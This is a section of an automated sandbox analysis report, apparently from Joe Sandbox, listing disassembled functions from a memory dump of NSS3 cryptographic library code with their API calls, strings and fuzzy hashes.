Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 6bd6f4cfc4dafac21927d48083f532fe28d92771f34f778b3b104f1e075904fe
Instruction ID: bd2091f897c6ddf4cd4d7eb0e780207c87fb9174c21ba1d468400f0f8c2c92e8
Opcode Fuzzy Hash: 6bd6f4cfc4dafac21927d48083f532fe28d92771f34f778b3b104f1e075904fe
Instruction Fuzzy Hash: EEF0AFBAD00114BBEF403BA1EC4AE9F3E3DDF82664F004024FD1956B02DA77E91496B2

Function 6CEC4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CEC4DCB

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CEC4DE1

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CEC4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CEC4E59

Part of subcall function 6CEAFAB0: free.MOZGLUE(?,-00000001,?,?,6CE4F673,00000000,00000000), ref: 6CEAFAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF8300C,00000000), ref: 6CEC4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CEC4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CEC4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CEC521A

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: 8987c5bcc441f95794b95b8c6b77de82b94867c49b68ed266a8900cba84cd60e
Instruction ID: b9ea17a6e72f81544e0957152f5df2bfccf6312c43c2593942baf2a713afd8c5
Opcode Fuzzy Hash: 8987c5bcc441f95794b95b8c6b77de82b94867c49b68ed266a8900cba84cd60e
Instruction Fuzzy Hash: D9F19B71F012098FDB08CF54D9407AEB7B2BF45318F35412AE825AB781E775E982CB92

Function 6CE54FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CFA0148,?,6CE66FEC), ref: 6CE5502A
PR_NewLock.NSS3(00000001,00000000,6CFA0148,?,6CE66FEC), ref: 6CE55034
PL_NewHashTable.NSS3(00000000,6CEAFE80,6CEAFD30,6CEFC350,00000000,00000000,00000001,00000000,6CFA0148,?,6CE66FEC), ref: 6CE55055
PL_NewHashTable.NSS3(00000000,6CEAFE80,6CEAFD30,6CEFC350,00000000,00000000,?,00000001,00000000,6CFA0148,?,6CE66FEC), ref: 6CE5506D

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 6b414493978ee6750b14f151d34f0c9099f11bb8327ab0cbb843a80b1ac50bea
Instruction ID: 1afc2588bc696fe86eb998c0e06001f612b8f88dfa0c11027cf6637e29ccb581
Opcode Fuzzy Hash: 6b414493978ee6750b14f151d34f0c9099f11bb8327ab0cbb843a80b1ac50bea
Instruction Fuzzy Hash: 4D3114B2F122109BEF508B65888CB5B3BBCDB1335CF624125EA0997740D3779415CBE4

Function 6CDF2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDF2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CDF2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CDF3005
memcpy.VCRUNTIME140(?,?,?), ref: 6CDF30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CDF3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CDF3178

Strings

%s at line %d of [%.10s], xrefs: 6CDF3171
database corruption, xrefs: 6CDF316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDF3022, 6CDF3156, 6CDF3162, 6CDF318A, 6CDF3196, 6CDF31A2, 6CDF31AE, 6CDF31BA, 6CDF31C6

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: df8792d94a3f90cd5f3c0ac91fef2964b32bab0d8c093d7b758a2f102401137d
Instruction ID: 3639911991be88d7c84e6c6dba81242bb565ff98124006af39317725dd7b014e
Opcode Fuzzy Hash: df8792d94a3f90cd5f3c0ac91fef2964b32bab0d8c093d7b758a2f102401137d
Instruction Fuzzy Hash: 1CB1B1B0E05219DBDB08CF9DC884AFEB7B1BF48304F16402AE865B7B51D7759942CBA1

Function 6CEC7F90 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 167COMMON

Download Yara Rule

APIs

PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEC7FB2

Part of subcall function 6CE4BA40: TlsGetValue.KERNEL32 ref: 6CE4BA51
Part of subcall function 6CE4BA40: TlsGetValue.KERNEL32 ref: 6CE4BA6B
Part of subcall function 6CE4BA40: EnterCriticalSection.KERNEL32 ref: 6CE4BA83
Part of subcall function 6CE4BA40: TlsGetValue.KERNEL32 ref: 6CE4BAA1
Part of subcall function 6CE4BA40: _PR_MD_UNLOCK.NSS3 ref: 6CE4BAC0

PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CEC7FD4

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

Part of subcall function 6CEC9430: PR_SetError.NSS3(FFFFD0AC,00000000), ref: 6CEC9466

PR_ExitMonitor.NSS3(?), ref: 6CEC801B
PR_EnterMonitor.NSS3(?), ref: 6CEC8034
TlsGetValue.KERNEL32 ref: 6CEC80A2
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEC80C0
PR_ExitMonitor.NSS3(?), ref: 6CEC811C
PR_ExitMonitor.NSS3(?), ref: 6CEC8134

Strings

), xrefs: 6CEC80DB

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Value$Monitor$Enter$CriticalExitSection$Error$CountEntryLeave
String ID: )
API String ID: 3537756449-2427484129
Opcode ID: 11eaad660b8834a55f93f30db71d5d04df0333fe440449847a4dfd2a25dcbf01
Instruction ID: c7441948e84f0cf7e6e078ed1d3f8cc8ab81a837139120d6d16e3e3e10383abd
Opcode Fuzzy Hash: 11eaad660b8834a55f93f30db71d5d04df0333fe440449847a4dfd2a25dcbf01
Instruction Fuzzy Hash: 57510372B047049AE7219F359F017EB77F0AF5230CF28452ED9A946B42EB31A609C793

Function 6CE6FCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6CE6FCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6CE6FCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6CE6FCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE6FD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6CE6FD46
PORT_Alloc_Util.NSS3(00000001), ref: 6CE6FD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6CE6FD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE6FD84

Strings

:, xrefs: 6CE6FD78

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: cc6a83bda0be38415721d4b591496767cd30e7d0bdc6637e3d2a3e0b10e56a72
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: C531D1B2D902059BEB008AA6DC057AFB7B8AF4135CF250138DD14ABF00E779E908C7D2

Function 6CE50F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CE50F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CE50F84

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

SEC_QuickDERDecodeItem_Util.NSS3(?,6CE6F59B,6CF7890C,?), ref: 6CE50FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6CE50FC1

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

memcpy.VCRUNTIME140(00000000,?,4C8B1474), ref: 6CE50FDB
PR_CallOnce.NSS3(6CFB2AA4,6CEB12D0), ref: 6CE50FEF
PL_FreeArenaPool.NSS3(?), ref: 6CE51001
PL_FinishArenaPool.NSS3(?), ref: 6CE51009

Strings

security, xrefs: 6CE50F5C

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaPoolUtil$DecodeItem_Quick$Alloc_CallErrorFinishFreeInitOnceValuemallocmemcpy
String ID: security
API String ID: 2061345354-3315324353
Opcode ID: c769c2a70af29cb82310759cbdb03c4acb869f0d196612387ac07932a943acdf
Instruction ID: c44b211e135bd55d8790bfecdf2ff92ab59fde9fee449f2d39811eb336e7fc3b
Opcode Fuzzy Hash: c769c2a70af29cb82310759cbdb03c4acb869f0d196612387ac07932a943acdf
Instruction Fuzzy Hash: 8E2136B1900204ABE7009F25DD81AAAB7B8EF4425CF208419FC18AA701F732D915CBA2

Function 6CE56DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6CE57D8F,6CE57D8F,?,?), ref: 6CE56DC8

Part of subcall function 6CEAFDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6CEAFE08
Part of subcall function 6CEAFDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6CEAFE1D
Part of subcall function 6CEAFDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6CEAFE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6CE57D8F,?,?), ref: 6CE56DD5

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF78FA0,00000000,?,?,?,?,6CE57D8F,?,?), ref: 6CE56DF7

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE56E35

Part of subcall function 6CEAFDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6CEAFE29
Part of subcall function 6CEAFDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6CEAFE3D
Part of subcall function 6CEAFDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6CEAFE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE56E4C

Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF78FE0,00000000), ref: 6CE56E82

Part of subcall function 6CE56AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6CE5B21D,00000000,00000000,6CE5B219,?,6CE56BFB,00000000,?,00000000,00000000,?,?,?,6CE5B21D), ref: 6CE56B01
Part of subcall function 6CE56AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6CE56B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6CE56F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6CE56F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CF78FE0,00000000), ref: 6CE56F6B
PR_SetError.NSS3(FFFFE005,00000000,6CE57D8F,?,?), ref: 6CE56FE1

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 68e8951840efee87a6dcef4a9a71bbcb2895c4f64e28c63516e129ab74aa8db6
Instruction ID: 44afd1f57266be1bf56c10543488fc8e96684bfc0b75a4b0a094aa0f0781ee46
Opcode Fuzzy Hash: 68e8951840efee87a6dcef4a9a71bbcb2895c4f64e28c63516e129ab74aa8db6
Instruction Fuzzy Hash: 88717171D102469FDB00CF55CD41AAAB7B8BF5530CF654229E808DBB11F772EAA5CBA0

Function 6CE90FE0 Relevance: 15.2, APIs: 10, Instructions: 192memorystringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE91057
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE91085
PK11_GetAllTokens.NSS3 ref: 6CE910B1
free.MOZGLUE(?), ref: 6CE91107
PR_SetError.NSS3(00000000,00000000), ref: 6CE91172
free.MOZGLUE(?), ref: 6CE91182
free.MOZGLUE(?), ref: 6CE911A6
SECITEM_ItemsAreEqual_Util.NSS3(?,?), ref: 6CE911C5

Part of subcall function 6CE952C0: TlsGetValue.KERNEL32(?,00000001,00000002,?,?,?,?,?,?,?,?,?,?,6CE6EAC5,00000001), ref: 6CE952DF
Part of subcall function 6CE952C0: EnterCriticalSection.KERNEL32(?), ref: 6CE952F3
Part of subcall function 6CE952C0: PR_Unlock.NSS3(?), ref: 6CE95358

PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE911D3
PORT_ZAlloc_Util.NSS3(0000000C), ref: 6CE911F3

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Utilfree$Alloc_Error$CriticalEnterEqual_ItemsK11_SectionTokensUnlockValuestrlen
String ID:
API String ID: 1549229083-0
Opcode ID: b05a0a4802bf249ddcbc3cff0f3549032f1a4b460614c2198e6efc80479e5d56
Instruction ID: a60669296d3e820c1f6283e4663ba1d58c7d8a6c9b2f46b99a5221561cf0e8ab
Opcode Fuzzy Hash: b05a0a4802bf249ddcbc3cff0f3549032f1a4b460614c2198e6efc80479e5d56
Instruction Fuzzy Hash: CC6183B5E013459FEB00DFA5DC41BAEB7B9AF04348F244128EC19AB741E772E945CB61

Function 6CE9ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE10
EnterCriticalSection.KERNEL32(?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CE7D079,00000000,00000001), ref: 6CE9AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AE7F
TlsGetValue.KERNEL32(?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AEF1
free.MOZGLUE(6CE7CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE7CDBB,?), ref: 6CE9AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CE7CDBB,?,6CE7D079,00000000,00000001), ref: 6CE9AF30

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 51b51b4e29eab9c60da22e5a905194603a7024d00afda3230760966fc1be7289
Instruction ID: 2ae723b31025b79d42e8834e5e72909db81349d501649085cdcac2e9f6c4272f
Opcode Fuzzy Hash: 51b51b4e29eab9c60da22e5a905194603a7024d00afda3230760966fc1be7289
Instruction Fuzzy Hash: 09518EB5E40602EFDB409F29D885B69B7B4BF05318F244268E81997F11E731E8A4CBD1

Function 6CE74CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CE7AB7F,?,00000000,?), ref: 6CE74CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CE7AB7F,?,00000000,?), ref: 6CE74CC8
TlsGetValue.KERNEL32(?,6CE7AB7F,?,00000000,?), ref: 6CE74CE0
EnterCriticalSection.KERNEL32(?,?,6CE7AB7F,?,00000000,?), ref: 6CE74CF4
PL_HashTableLookup.NSS3(?,?,?,6CE7AB7F,?,00000000,?), ref: 6CE74D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CE74D10

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

PR_Now.NSS3(?,00000000,?), ref: 6CE74D26

Part of subcall function 6CF19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DC6
Part of subcall function 6CF19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DD1
Part of subcall function 6CF19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF19DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CE74D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CE74DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CE74E02

Memory Dump Source

Source File: 00000000.00000002.1962012508.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1961023559.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965295772.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1965890980.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966155152.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1966746742.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

